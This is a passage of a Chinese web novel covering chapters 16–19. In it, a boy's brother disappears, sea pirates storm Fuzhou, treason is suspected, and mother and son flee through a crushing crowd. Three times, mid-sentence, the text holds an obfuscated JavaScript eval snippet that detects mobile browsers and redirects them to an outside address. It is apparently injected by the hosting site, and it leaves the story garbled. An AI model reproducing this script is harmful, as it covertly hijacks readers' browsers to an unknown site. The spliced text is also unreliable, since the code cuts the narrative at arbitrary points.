他真的很想问问父亲:你怎么能让别的男人把她抢走?她是你的发妻!你们之间…真的就没有一点点的感情吗? 也很想问问母亲:那…我是怎么来的?不是因为相爱,才生下的我吗?还有二宝呢? 可话到嘴边,还是一个字都问不出口。 “我…要睡了。”高承翊让出了路,“母亲也…早些回去休息吧。” 赵蓉知道儿子心里有过不去的坎儿,但她无论如何,也不会再多留了。 “等你父亲回来,把衡儿送走后,我就回离开。”赵蓉还以为高琰已经将高濯衡的身世告诉了高承翊。 高承翊脑子挺乱的,没听清楚,后来又兀自以为是送高濯衡去冀州读书,便没再仔细寻问。 翌日早,总督府是在二少爷的哭喊中醒来的。 16. 突袭 高濯衡不仅哭,还闹脾气不去上早课,把自己闷在被子里,谁都不理,只一个劲儿的哭,呜呜咽咽的声音中夹杂着:“哥哥…哥…哥坏人!” 就连赵蓉都扒不开他的被子。 “你怎么得罪他了?”赵蓉对从外进来的高承翊道。 高承翊假装不知情地耸了耸肩。 赵蓉又只得去劝小的:“衡儿,你已经十岁了,如今这样胡闹,简直不如三岁。” “衡儿没有胡闹!是哥哥坏!我…再也不和他玩了!我再也不喜欢他了!”小孩儿闷在被子里,声音瓮声瓮气一抽一抽的。 听得高承翊又想笑了。 “昨儿不是还好好的吗?”赵蓉问。 高承翊道:“没事的,母亲先回去吧,您越是在这儿,他越是要闹。” 他说着推着母亲的肩膀,又带着屋里的人全出了院子。 高濯衡还在哇哇大哭,夏辛半跪在床边,把手伸进被子,去掏高濯衡的手。 “二爷,你别哭了。”他攥住了高濯衡的小手,“你告诉我,夏辛跟你一起想法子。” 高濯衡的哭声这才慢慢小了下去。 原本正打算进门哄弟弟的高承翊听见哭声小了,便知道是夏辛给哄住了,他现在招人嫌,自觉的站在门口,没进去。 这边哭声小了,夏辛一头钻进被子里,抱住了高濯衡的肩膀:“到底怎么了?” 高濯衡才小声的在夏辛耳边说:“我哥可坏了,他自己的小鸟长得吓人,就嫉妒我,把我的给弄坏了…” 夏辛问:“什么小鸟?又有人给你送鸟了?你又养死鸟了?” “不是…”高濯衡委屈死了,“笨蛋!是…”他抓住夏辛的手,探到了他的身上。 夏辛摸到了那肉乎乎的小东西,立马瞪大了眼睛:“啊!这可是要紧的地方!”老妈子弹射而起,“快快快,爷们儿让我瞧瞧!不得了不得了!怎么弄坏了?还尿的出来吗?” 门口听见夏辛这声的高承翊,都快笑岔气了。 他吩咐院里的人去烧水。 等夏辛弄清楚来龙去脉,再出来打水时,高承翊已经叫人在门口备好了水。 “别太使劲儿搓,洗不干净也没关系,每天洗,过几天就干净了。”他担心小孩不懂解释道,“就是普通墨水。” 夏辛端过水,居然胆大的白了大少爷一眼。 高承翊揪着夏辛的后脖领子玩笑道:“你现在翅膀硬了,小心我也给你鸟上画一个。” 夏辛挣脱后虽规规矩矩给他鞠了个躬,却脸色阴沉一言不发地回了屋。 高濯衡昨天被大哥的大宝贝吓着,今早起床撒尿又被自己突然变黑的小宝贝吓着,一时没反应过来。 直到夏辛执着地扒掉他的裤子才看清楚是墨水。 知道是墨水画的便也不害怕了,随之而来的是羞臊和对哥哥恶作剧的气恼。 夏辛打来热水,裹了温温的湿布要帮他擦洗,高濯衡不是很情愿,他哭得太过头,抽抽一时半会儿停不下来,上半身一抖一抖地要去接湿布:“我自己来。” “我来吧,擦得干净些。”夏辛道,“没事了没事了,洗干净就好了,不会坏的。” 高濯衡道:“我知道。” 高濯衡的眼睛被眼泪淹花了,到头来还是夏辛帮他给擦。 夏辛一手扶着一手控制着力道去擦墨迹,嘴上还得安慰着:“一碰水就干净了。” 干了的墨水不是那么好擦的,高濯衡抹了眼泪去看,还是黑的。 气得更是泪淹总督府。 这哭得大声,在外头听着的始作俑者,他大哥高承翊心里竟有一丝不是滋味。 又不敢进去怕弟弟见着他更生气,只好趴在门上听里头的动静。 只听夏辛好声地劝着:“爷们儿可不能再这么哭了,吓着门口檐下的雏燕。” 高濯衡就是这样,如果你要说,别哭了,伤了自己的眼睛,伤了自己的身体,别哭了你要坚强勇敢,不要老长不大。 他才不会听呢,他要哭就哭,要笑就笑,落雨打雷下冰雹,就算天塌下来,他高家二爷要哭,就是要哭。 早前还能听听大哥的话,大哥说不许哭,他就能忍住眼泪,可今儿这眼泪是大哥惹出来的,谁来都是劝不住的。 可夏辛说,惊了雏燕。 高承翊竟听得里头的哭声,越来越小,真的就停了。 他抬头找,果然在檐角看到了燕巢。 刚才哭声太大他没察觉,这会儿能听到里头叽叽喳喳的鸟叫声。 于是此后的几天,高承翊便在家哄弟弟,高濯衡的小鸡洗干净后消了气,还是要粘着哥哥的,高承翊每日等弟弟放课回来后,就坐在院门口的椅子上,抱着弟弟看金鱼,看雏燕。 夏辛在旁边嗑瓜子,把瓜子仁儿留在小盘里给他二爷吃。 那是高琰走后的第十二天。 总督府收到了高琰即日返程的信,加急的信早寄出,又先到,算算时间高琰于今日早晨,就已返回抚州。 高承翊和高濯衡说,父亲回来后可能会送他去冀州曾外祖那,跟着曾外祖父读书。又或许会让他进京,寻个书香门第的家学。 若是去京城,届时先生便不止他一个学生,必得学着和学里的同期们好好相处,不可再闹少爷脾气。外祖父还在京城,此前也见过,是个性子温和,极好相处的。届时住在他家,可别蔫儿坏,看外祖父脾气好,就调皮捣蛋。 若是去冀州,就更得安分些了,曾外祖是进过内阁的,为人刻板严厉,现在上了年纪,若是把曾外祖气着了,就是大罪过了。 高濯衡问:“哥也一同去吗?” 高承翊其实是可以和他一起的,但他明年春闱,需要安静的环境读书。 高承翊道:“若是明年考中了,我再去找你。” 高濯衡原本的笑脸一下就变了。 高承翊道:“你总得离开哥哥的,再说了,夏辛会陪着你呀。” 夏辛捻起一粒瓜子仁儿喂去了高濯衡嘴边。 高濯衡吃了,顺带拉住了他的手:“你会陪我出去读书吗?” “嗯。”夏辛道,“二爷去哪儿我就去哪儿。” “那你娘呢?”高濯衡问。 夏辛道:“又不是不回来,等过年放年假我再去多陪陪她呗。” 高濯衡这才点头:“那行吧。” 下午的时候,守备军军营里有人来找高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101029|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承翊,说是周将军有事寻他,让他得空去一趟守备营。 按理说,守备军的事是军情,可以直接写信给高琰,八百里加急进京。 但他对晏江的军营十分了解,周季修长他十五岁,两人相交甚笃,亦师亦友。 高承翊想或许是有事情找他商议,且不是什么大事,和家里招呼了一声,便骑上马过去了。 起初第一晚,赵蓉没察觉不对。 跑马去军营,一来一回是要一天的。 赵蓉是第二天晚上派人去军营找儿子的,可第三天晨起,等来的却是昨夜水寇自晏江汾州海岸登陆,一夜连破汾州、诃州两城。 垣平正在死守,各地守备军也在往垣平赶去,一旦过了垣平这最后一道防线,后头就是抚州。 去年大捷之后,宫里就下令减少了晏江的军队人数,将大半兵马调去了位处西北的边塞重地隆州。 整个晏江兵力空虚,不足三千,又恰好高琰不在。 别说高琰了,就连高承翊都不知所踪。 门外有人来报:“夫人从汾州逃来的人说水寇冲进衙门里,把知县,县丞,同那些官眷全杀了,把知县的头挂在他们的大旗上。那些东西杀红了眼,甭管什么,见人就砍。还带了攻城用的炮车,汾州的城墙被炸了三个老大的窟窿…” 那人越说越害怕,越说越腿软。 “别慌!”赵蓉打断了他:“昨夜是突袭,守备军没有防备,今日既已调派援军,垣平未必守不住。军营那边有消息吗?莫非翊儿知道军情后,直接去了前线…” 那人摇头:“现在外头乱了,哪儿还能再找到人呢。” “就怕水寇没进来,有贼匪趁机杀人越货”赵蓉当机立断:“快让家丁们去守好门,跟衙门里的衙役、捕快们说,愿意的都可将家眷接来总督府,咱们府院高,人多,门也结实,抚州的那些官家,要来的也让他们躲进来,大家一起也好商议一二。” “好,小的这就去。”那人念着阿弥陀佛,跑了出去。 那时,虽然情况看似危急,但无论是赵蓉,还是抚州城中的百姓,谁都不会相信抚州城真的会被攻破。 水寇闹了这么久,可抚州不沿海,外头有三个州县挡着,汾州、诃州如何受难,死了多少人,多少人无家可归,都动摇不了抚州的繁华。 达官显贵们穿着丝绸在小柳河听曲,吟风弄月,赋雅风流。 他们相信,水寇不足为惧,那些穷乡僻壤的无教小国,是不毛之地,太穷了才出来抢劫。 抢了一两个镇,最多一个县,就会立马跑回船上。 多留一刻,被赶去的守备军抓住,就是全军覆没。 “不是说,打完了吗?”赵蓉问躲来总督府的官员们,“缴获了那么多船只、火器,全歼他们数万人,这才短短几月,怎会如此迅速反扑而来?” 众人无言 赵蓉又问:“他们哪来的银钱?哪来的船、炮,哪来的人?” 她想不通:“这么多年,都是抢了就走,为何这次,看上去竟有直冲抚州之势?他们不知内陆布防,也对地形不熟,怎会有胆子来?又怎会来的那么快?” 没人能回答赵蓉,这是他们所有人心中的疑问。 17. 通敌 她们并非没有逃跑的机会,水寇的进攻缓了六天,他们僵持在垣平,似乎是在等待后续的船支运送兵力集结。 而晏江的军队也需等待援兵和军需。 赵蓉守在家中,高琰和高承翊两人都没有丝毫消息。 她猜到了这其中必定有阴谋,高琰回不来,儿子也有可能被害了,若非如此,他必定会回家,就算不回,也会找人带话,不可能消失的无影无踪。 后院里的两个小孩还不懂外头的喧闹,他们听着院里人讨论着外面的情况。 高濯衡这几日都不用上课,平时日日去,突然不去了,本该高兴的,可哥哥不在家,他觉得甚是无趣,坐在水缸边,看檐下的燕子们来来回回捉虫子喂雏燕。 夏辛热了牛乳来给他喝,他便问夏辛:“哥哥走前有说什么时候回来吗?” 夏辛道:“不清楚。” 高濯衡道:“仗什么时候打完啊?外头那些人要住到什么时候去?成日吵吵嚷嚷的烦死了。” 夏辛道:“过几日吧,我听说太子要亲征,已经急行军在路上了,要在垣平挡住水寇,把他们赶回水上。” 高濯衡突地站起来,原本无神的双眼亮了一下:“不是我爹回来打吗?那有听说爹爹什么时候回来吗?” 夏辛摇头。 高濯衡一口气喝完了杯中的牛乳,擦了嘴就去问赵蓉。 赵蓉的院子外守了几个人,是防着外头突然有人来,二公子来当然得放行。 他叫着娘亲跑进的屋,却见屋中十分凌乱,是赵蓉和几个与她亲近的下人在收拾细软。 “衡儿?”赵蓉来牵他。 高濯衡道:“外头的传言娘亲听了吗?太子要亲征,那父亲是否会与太子一同回来?哥哥呢?” 赵蓉摇头:“还没有你父亲的消息,你哥哥也是。” 高濯衡是从来没什么忧虑的,他养尊处优锦衣玉食,有位高权重的父亲和无微不至的哥哥,母亲温和柔善,持家有方,院里一堆人照顾他,还有个成日瞻前顾后,生怕他出一点儿差错的夏辛。 可如今看着满屋子乱堆的东西,里里外外匆忙跑动的仆人,还有赵蓉极力压制却仍旧难掩的忧容,他头一次感觉到了害怕。 是那种捉摸不透,不知如何是好的害怕。 如果哥哥在就好了… 哥哥…去哪儿了? 他颤巍巍的问:“哥他怎么还没回家?”问到第二句时,情绪崩塌到哭出了声,“哥哥…去哪儿了?为什么还不回家?我要哥哥!衡儿…要哥哥!” “哇啊啊啊啊!”因哥哥多日不回,隐藏在他心里的不安,一时全部爆发出来,他大声哭着,“我们是不是要走了?出城吗?为什么不等哥哥回来一起走?哥哥不要二宝了吗?” 赵蓉的心情也没好到哪去,高濯衡这突如其来高昂响亮的哭声,更是令她烦闷不已。 “别哭了!”她出声制止道。 孩子反而哭得更大声。 赵蓉吼了他:“别再哭了!你能稍微懂事些吗?已经够乱了,还要来添乱?” 夏辛是等在门外的,听得这一声立马冲进来,抱住了高濯衡,将他往屋里的椅子上带。 高濯衡没跟着,反而顺势抱住了他,低头钻进夏辛怀里,闷闷地把哭声压住了。 夏辛在赵蓉面前没敢说什么,只一手轻轻拍着高濯衡的背,一手顺着他后脑上的头发。 赵蓉叹出一口气:“收拾东西只是准备着,并非立马要走。太子亲征确有其事,但并没有你父亲的消息,他大约还在京中。出去打探的人说,垣平那边正在固防,等太子的援兵一到,便会发起反攻。你哥哥是被周季修叫走的,可他说翊儿当晚就已返家,我虽有疑,可现如今周季修已在前线,我没法去战场上问他要人。” 她坐回了椅上:“衡儿,你是个聪明的孩子,娘亲教你,遇事哭是无用的,天大的事都要冷静下来,才能想出法子。你哥哥若是安然无恙,必定会想办法回来。” 高濯衡听到哥哥,侧过头从夏辛怀里露出一只眼睛看赵蓉。 “他…最是放心不下你,你需稳重懂事些,不可让他担心。”赵蓉对夏辛道,“这几天家里乱,你带二爷回院里,别让他乱跑了。” 夏辛牵着高濯衡回了小院,一路上高濯衡都忍着没哭,回来关上门就又哭了。 夏辛道:“前几日街上关门的铺子,今日都已经开起来了,二爷想吃什么,我去给你买来。” “外头不乱了吗?”高濯衡问。 “不是还没打过来嘛,垣平那边周将军防得固若金汤,就等着太子的援兵到呢。再说了,咱们抚州也有守备军,城墙上全是值守的兵爷,成排的火炮摆着呢,水寇肯定进不来。”夏辛道,“城里百姓的日子总得过,饭要吃,该干的活也得干呀。” 高濯衡道:“援兵来就能打赢吗?” 夏辛点头:“当然了,哪次不是咱们赢呢。” “可这次爹和哥哥都不在。”高濯衡道。 夏辛道:“别担心了,再过个三五日,咱们就把水寇打回去了,大少爷也会回家的。” 夏辛什么都不知道,他只是说好话安抚,以他当时的年纪和见识,根本想不到后头的事,也不觉得高承翊会遭遇什么不测。 而高濯衡脑中却一直回荡着赵蓉那句:我没法去战场上问他要人。 “夏辛,肯定有问题。”他握紧了夏辛的手,“那天是周季修找人把我哥叫去军营的,还说他当晚就返家了…” “怎么了?” 高濯衡道:“应该是重要的事才会临时叫他去吧?可什么重要的事会商量的那么快,当晚就能返家?” “大少爷是下午才动身的,到军营都该是晚上了。”被他这么一说,夏辛也开始怀疑,“事情说完就回了?” 高濯衡道:“父亲嘱咐他看家,他根本没有要紧的事。到那都夜了,说完事,最快也过亥时了吧。哥哥心疼他那匹马,即使他自己想回来,也会让马休息一晚上,第二天再回的。” “周季修说谎了?”夏辛道。 高濯衡心中已经确定了:“我不知道,但既已返家,为何迟迟不见人…” “二爷别瞎想了!”夏辛重重反握住他的手,“大少爷可是上过战场的,他的刀法可厉害了,手上力气也大,他上回教我的那几个招式你也看到了,一般的小贼土匪,都不是他的对手。” “那兵呢?不止一个,而是一整队的兵呢?”高濯衡道,“水寇去年才被剿灭,太栉国弹丸之地,能集多少兵?怎么这么快卷土重来?什么时候不来,偏偏父亲进京就来了。抢完东西也不走,哪都不去直直的奔抚州而来…他们怎么知道该走哪条路,哪里布防最弱?” 高濯衡抬眸看向夏辛:“夏辛,除非有人通敌,将消息告诉水寇,不然没有那么巧合的事。” “通敌?那可是要杀头诛九族的!”夏辛问,“你的意思是,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101030|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季修?好好的将军不当,去通敌,他疯了吧?” “是啊,除非疯了,不然怎么可能会…”高濯衡想不通,“或许是我猜错了吧。”十岁孩童的猜测,他自己都不会当真。 “别想了,我们一起去喂鱼吧。”夏辛要将他往院子的鱼缸那带。 却被高濯衡抓着定在了原地。 夏辛回头还对着他笑:“嗯?” “我觉得很不对劲,母亲肯定也是这么觉得,才会收拾行李的。虽不走的几率大,可抚州还是离垣平太近了。”高濯衡道,“或许出城避一避,更稳妥些。” 赵蓉前几日没走,是在等高琰回来,她和高琰这么多年的夫妻,旁的不说,对于他回来就能把城守住,将水寇驱逐这件事,还是深信不疑的。 可今早听消息说是太子亲征,已经急行军往晏江赶了,却没有高琰的消息,她便打算,带着孩子们北上。 迟迟未走,也是想能等一分是一分,万一翊儿就回来了呢,万一前后脚错过呢? 高濯衡说完,夏辛却没什么反应。 高濯衡把话挑明:“我的意思是,你去把你娘亲也接来,住来咱们院儿里,若是没事了,过几日再让她回去,若要跑咱们也一块儿跑。” 其实逃命这种事,扎堆反而一个都跑不掉,可小孩儿不知道,他只是不想和哥哥、母亲分开,推己及人,自然也明白,若真的城破了,生死关头夏辛必定会不顾危险,去小柳河找夏娘。 夏辛半信半疑地看着高濯衡。 毕竟那时没人觉得城会破。 “快去啊!”高濯衡催促道,“走小门,快去,我在家等你回来,跑着去,跑回来。” 他话语间又流眼泪了。 他多怕夏辛还没回来,母亲就要带他走。 夏辛为了让他安心,只愣了片刻,立马点头应下:“好。” 高濯衡亲眼目送夏辛从小门出去后,一个人回了院子,心绪不宁地坐在屋里。 他想着哥哥,若是哥哥在身边,他就不会那么害怕了。 水寇的兵,像是突然蹦出的,从林子里,从草里,是蛰伏了许久,等待到了时机,才决定现身。 那乌泱泱的一大片人,在城墙上看守的守备军眼中,就像是凭空出现的一般,不到片刻,将抚州城的东门外,全部铺满了。 晏江是向东流的,小柳河是晏江的分支,在抚州城的最东边。 夏娘正坐在屋里织布,这几年棉布、丝绸生意红火,大作坊的布涨价,她们自己织的,也跟着涨些。 一匹布换成粮食,能吃上一段时间,她卖茶水的间隙,便都在织布。 她左手上戴着若若留给她的红绳,上头的银五钱有些发黑了,而不远处的梳妆台上,放着的一对金耳环,是油坊的胖掌柜送她的。 她本想回绝,可胖掌柜总不气馁,三五日必得来一趟,给她带些东西。 那胖子生得白,笑起来憨得很。 前几日儿子来,说等高大人回来,他便要陪着少爷去外省读书了,到时一年回不了两趟家。 夏娘听了心里空落落的,儿子一走,就只剩她一个了。 故而原本不打算应允的婚事,又被她拿出来继续考虑了起来。 想着胖子也还行,对她还算不错,日子要盼着越来越好,她告诉自己总缅怀着一个已经死去的人,不往前看是不行的。 手上的梭子穿过一个来回,却突听耳边一声炸响。 18. 衡儿别怕 抚州城很大,不算周边村镇,单只城中人口就有一百二十多万。 其他方位听不见东门的炮响,城中百信也看不见城墙上接连燃起的烽火,夏辛找了辆驴车,往小柳河去了。 六日以来所集结的兵力,绝大多数全囤在垣平城中,抚州城反而空虚。 守备军不到两千人,分到东门的兵力,只有五百人。 城墙上的士兵看见敌军后,立马击鼓点燃烽火传递军情。 抚州城墙的工事是高琰盯着修的,墙高且厚,砖石土泥间用了大量糯米填充。 城门所用的巨木,比其他州府的要厚上两倍不止。 城墙上装备火炮、箭矢和火铳的瞄准点。 有如此坚固的城墙,按常理来说,守到援军来,是没有问题的。 可坏就坏在,东门不是防守要点,五百兵中,有近一半是世袭军户的老兵,另一半是才入军营的新兵。 老兵又痞又油,已经到了混日子的年纪,而新兵还没有上过战场。 敌军来前他们还在营中吃酒,有才来不久的新兵问老兵为何还有心情吃酒,万一敌军来袭如何是好? 坐在桌前嚼着肘子肉的老兵抹匀了胡子上的油,让他也坐下来吃。 新兵皱眉站着。 老兵们便出言道:“你说抚州城里什么人最精明?” 新兵不明所以。 老兵把酒囊丢给他:“喝几口,好好想想。” 新兵把酒囊还了回去:“值守不可饮酒。” 那群老兵红这着脸笑他:“如今人都调去垣平了,没人跟我们换岗,我们要在这儿守到前方仗打完,还不知道要熬多久呢,喝点儿松快松快,没人会说你的。” 新兵还是坚持不喝。 老兵们便拉着他坐到了酒桌前:“真够倔的,我告诉你吧,抚州城里商人最精明。他们在小柳河逛窑子包女人,还在小柳河建妓院,开画舫。就是因为东门这块儿,是整个抚州,最安全的地方。” “为什么?” 老兵道:“啧啧,你看仔细看抚州的舆图,还有我们营地的分布图?” 那新兵被看破,有些羞愧:“还…还没来得及。” 老兵道:“东门虽位置更靠东,看起来离海岸直线最近,可若走水路小柳河太窄,还没进城呢,大船就开不进来了。走陆路呢,后边儿正好是大岳山。” 大岳山可不止一座山,那是断断续续的山峰,山头连着山头。故而入抚州的路,全是绕着大岳山修的。 “大岳山你进去过吗?”老兵问。 新兵摇摇头。 “现在春末,山里已经有蛇和熊了,再深些,还有大虫。山路又窄又绕的,有些地方一次只能通行两三人,岔路多,还有吊桥、栈道。别说水寇了,就我们这些人,没个在山间砍柴过活的识途樵夫带着,都要迷路。我这么说,你再明白了吧。” 新兵有些恍惚:“你的意思是,东门不可能有敌军?” 老兵道:“若东门都有敌军了,那整个抚州城就都是水寇做主了。” 此话一出,在场一阵哄笑,接着便是赌钱的继续赌钱,喝酒的继续喝酒。 那新兵自觉没趣,独自上了城墙。 夏辛路过正街时,还买了几个他娘爱吃的大肉包和绿豆酥饼。 城中一切都和往常一样,街边的小吃店里飘出各种食物的香气。 路边小贩们卖这各种样式的商货。 有个卖鱼的扁担里,是用绳躬起的足有五六尺长的大鱼。夏辛看见这鱼,就想买回去给高濯衡做鱼羹。 二爷嘴叼,他是喜欢吃鱼的,因为鱼肉嫩滑,可又受不了一点鱼腥味。 用重油重盐,佐以葱姜黄酒烹鱼,再做的辣些,是盖过鱼腥味最好的办法,热热的吃着,火辣辣的香。 可高濯衡又只爱清淡。 故而要挑最清的水里养出的鲜鱼,放血去筋,把黑膜洗得干干净净,弃去鱼腹上土腥气最重的鱼油。 片去大刺,再弃红肉,只留白肉,切薄片,用葱姜水腌制去腥后做汤或做鱼片粥,才能入得了高家二爷的口。 夏娘会将鱼肉躲碎成蓉,做成鱼糕、鱼丸。夏辛给高濯衡带过几次他娘做的鱼糕,二爷也是爱吃的。 夏辛看那鱼好,便叫住小贩,付了钱,让送两条去总督府。他盘算着晚上就能回,还能让阿娘一展厨艺,给二爷做顿鱼汤喝。 天晴无云,大约是走到一半的时候,才遇到从东边往西跑的人。 起初人不多,但从表情和步履就能看出不对劲。 车夫立即拦住了几个人询问:“怎么了,跑什么?” 几人中有热心的说:“赶快逃命吧,东门那边打起来了,炮声特别大,别过去了,去西边出城,往北逃吧。” “什么打起来了?”他们没见到,根本不信是水寇打来了。 那人喊道:“哎呀,别拉着我了!我可不想死!” “还能有谁打起来了,是水寇!”逃跑的人里有人喊道,“我看见城墙上的火烧得老大,站在小柳河边都能闻到焦味。” 车夫家不在城东,听了这话立马要把驴子往回赶。 “你干什么,还没到呢!”夏辛道。 “小娃娃,你没听到嘛,水寇从东边打进来了!”车夫道,“我要赶快回家,带着家人逃命啊,你的钱我不挣了,你要是愿意,就坐车上咱们一起跑。” 驴子调转了方向,那车夫等了片刻,夏辛看着越来越多自东边跑来避难的人群,呆滞地愣在了原地。 车夫看他没反应,哎呀了一声,自行逃命去了。 人群是往西走的,夏辛怀里的东西被匆忙的行人撞掉了,还有余温的肉包子、油纸包里散出的绿豆酥饼被无数奔命的脚步踩得粉碎。 他摸了摸右腰上高承翊给他的小刀,独一人,逆着人群,往小柳河边跑去。 赵蓉得知东门有敌军时,实则东门已经失守了。她带着几个护卫冲进高濯衡的院子,抱起他往府门口的马车上去。 女子身姿要瘦小些,抱起十岁的孩子让她有些吃力,高濯衡还带着些许的挣扎。 “娘亲,娘亲!夏辛还没回来呢!”他道,“我们再等他一会儿好不好?” 事态紧急,赵蓉是没时间和心情去理会他的,但他提到了夏辛,赵蓉便也发觉,那个高濯衡的小跟屁虫不在。 “他去哪儿了,叫他出来,一起走。”赵蓉道。 高濯衡问:“等到晚上可以吗?” 赵蓉不再啰嗦,加快了往外走的脚步。 高濯衡在母亲的肩膀上,看着熟悉的小院离他越来越远。缸里的鱼,檐下的燕,是十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101031|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁那年,他弄丢的最微不足道的东西。 往后年月,他常常梦到儿时的小院,梦到那缸鱼,那窝雏燕。 西北也有燕,也有鱼,可终不是江南那只了。 赵蓉把高濯衡塞进马车,马车快速奔跑着,赵蓉还以为她是知道消息较早的人,可越走街上逃难的人便越多。 拖家带口,背着包袱行礼,塞不进包袱的金银首饰,全叠戴在身上。 赶车的护卫掀开车帘:“夫人,再往前马车就过不去了,人太多了。” 赵蓉一路上一直在观察着车外,她往高濯衡怀里塞了一沓银票,又将袖中的碎银塞进了高濯衡袖中。 摘下了自己的金锁戴在了高濯衡脖子上,藏进了衣服里。 “夏辛去哪儿了?”她问。 高濯衡被眼前的情形吓到了,这会儿赵蓉跟他说话,他才稍稍回神:“我…我怕咱们要走,担心夏辛舍不得他阿娘,让他回家把他娘接来,跟咱们一起跑。他…他还没回来!我的…我的夏辛还没回来!娘亲…怎么办?怎么办?” 哥哥不在,夏辛也不在。 赵蓉看孩子哭,也心疼,他抱住高濯衡,外头叫嚷着奔逃的人声不绝于耳,车里母亲抚摸着幼子脑后的头发,在他耳边温柔又坚定的说:“衡儿别怕。” 高濯衡死死拽着赵蓉的衣角:“娘亲…” 他没有大声哭闹,因为母亲说哭闹解决不了问题,可他却无法冷静。 “衡儿不想哭…可…衡儿忍不住。” 赵蓉又何尝不想哭呢。 “凡所发生的事,都是老天爷要让你经历的,躲不掉…”她松开怀抱,扶着高濯衡的肩膀,正正看着他的眼睛。 高濯衡没有见过这样的母亲,他和大哥更亲些,大哥什么样子他都见过,睡着时,读书时,玩闹时,他们可以脑门贴着,笑盈盈地看着彼此,死死记着彼此的样貌。 可这样近的看着母亲,还不曾有过。 能看清根根分明的睫毛,能看清眸中的血丝和水汽。 她说:“你以前是不是抱怨过和我长得不像,说娘亲更喜欢哥哥?”赵蓉顿了顿,“关于你的这件事,你父亲和哥哥都不知道。等我们出城,我告诉你。” 这样的境地听到这种话,对十岁的孩子冲击太大了,他本就不知所措,这话一进耳朵,全身都凉透了。 “想知道吗?”她摇了摇孩子,“说话!” 随着高濯衡点头的动作,他的眼眶正往外滴泪。 赵蓉:“说话。” 高濯衡道:“想…想知道。” 赵蓉道:“好,记着你有想知道的事情,只有活着,才能知道。好孩子,咱们一起活着走出去。” 她真的很想活着走出去,她想见见沈驰。 这些年他们并非没见过,但上次见面已经是两年前的事了。 他信里说要来接她,也不知动身了没有。 西北和江南,离得那么远。 沈驰的马跑累了吗?他累了吗? 这会儿是不是在路上的驿站歇着?如果我出城后一直往西北走,运气好的话,是不是能遇上他? 这些念头快速地在赵蓉脑中划过,她看着车外乌泱泱的人群,叹出口气,眼神坚定地牵着高濯衡下了马车。 母子两人,手牵着手,朝西门跑去。 19. 活下去 下马车后,高濯衡立即擦掉了脸上的眼泪,他能感觉到母亲牵他手的力度很大,他便也用力地去回握住。 跟着人群往城门那边走。他个子太矮了,从他的视角上看,前后左右全都是人的腰背和腿。 越走越拥挤,赵蓉将他护在身前,脚尖磨着脚跟,一点点往前挪。 那几个护卫把他们两人围在中间。 原本不到一炷香就能走完的路,她们走了一个多时辰,还没到。 高濯衡全身都被汗水浸湿了,背后的压力越来越大,前边人的衣裳粘在他的脸上,他起初用手臂支着,最后没了力气,也只好整个人被挤在中间。 他不是自己在走,而是被人夹着,跟着人群在飘。 各种声音从四面八方传来,多到几乎辨不清他们在说什么。 似乎有呼救,有哭喊,孩童崩溃大哭的声音,有些声音在天上,有些声音在脚底。 赵蓉在踩到了一块软质脚感的东西后,将高濯衡捞起来,抱在了胸前。 她知道她脚下是不慎跌倒,再也站不起来的人,大概率已经被踩烂了,她只能这样站着,踩下去,可她不想孩子知道。 母亲身上总是香的,可如今已嗅不到了。 汗水,全是汗水。 高濯衡微微回头,赵蓉发髻散乱,汗从鼻尖、眼睫、脸颊上滴落,像小溪一样。 她明明在死撑,开口却说:“没事的,有娘在。” 她的声音也变了,没什么力气。可高濯衡听后,竟觉得发昏的头清醒了些。 “娘亲…太挤了,难受…透不过气。”他脸色发白口唇透着紫绀,看什么都是昏的,“太累了…想喝水。” 若不是被这样挤着倒不下去,他肯定是站不起来的。 赵蓉原本带了水袋,可不知什么时候已经被挤掉了。 她将高濯衡又抱高了些,让孩子能抬起头喘气。 高濯衡仰着头张大嘴吸气,那空气污浊,混合着各种汗臭味、血腥味,还有城墙上燃烧烽火的焦烟气。 难闻,却能救命。 能透上气后,口渴便更胜,没有水喝,高濯衡只好去舔自己脸上的汗水,想解渴。 赵蓉一把抹掉了他脸上的汗:“不能喝,汗水是越喝越渴的。” 他点头,听话的闭上嘴,喉咙似乎都黏在了一起,她狂咽了口几乎不存在的口水,用从未有过的沙哑嗓音问道:“娘亲还站得住吗?” “没事,当然站得住。”身后说话的人,明显气都飘了,却还在逞强,“你别看我在抚州总在家,娘亲…当年还在家没嫁人的时候,是跟着…护卫们…学过…学过拳脚剑法的。”她有些喘,“还会学过骑射呢,骑马…去山里猎过山兔。衡儿…不是爱吃兔肉吗?娘亲会的东西…可多了…” 可…成了婚,那些东西,就都没用了。只剩下管事、掌家、相夫教子。 她说完,孩子却没应她。 “衡儿!衡儿!” 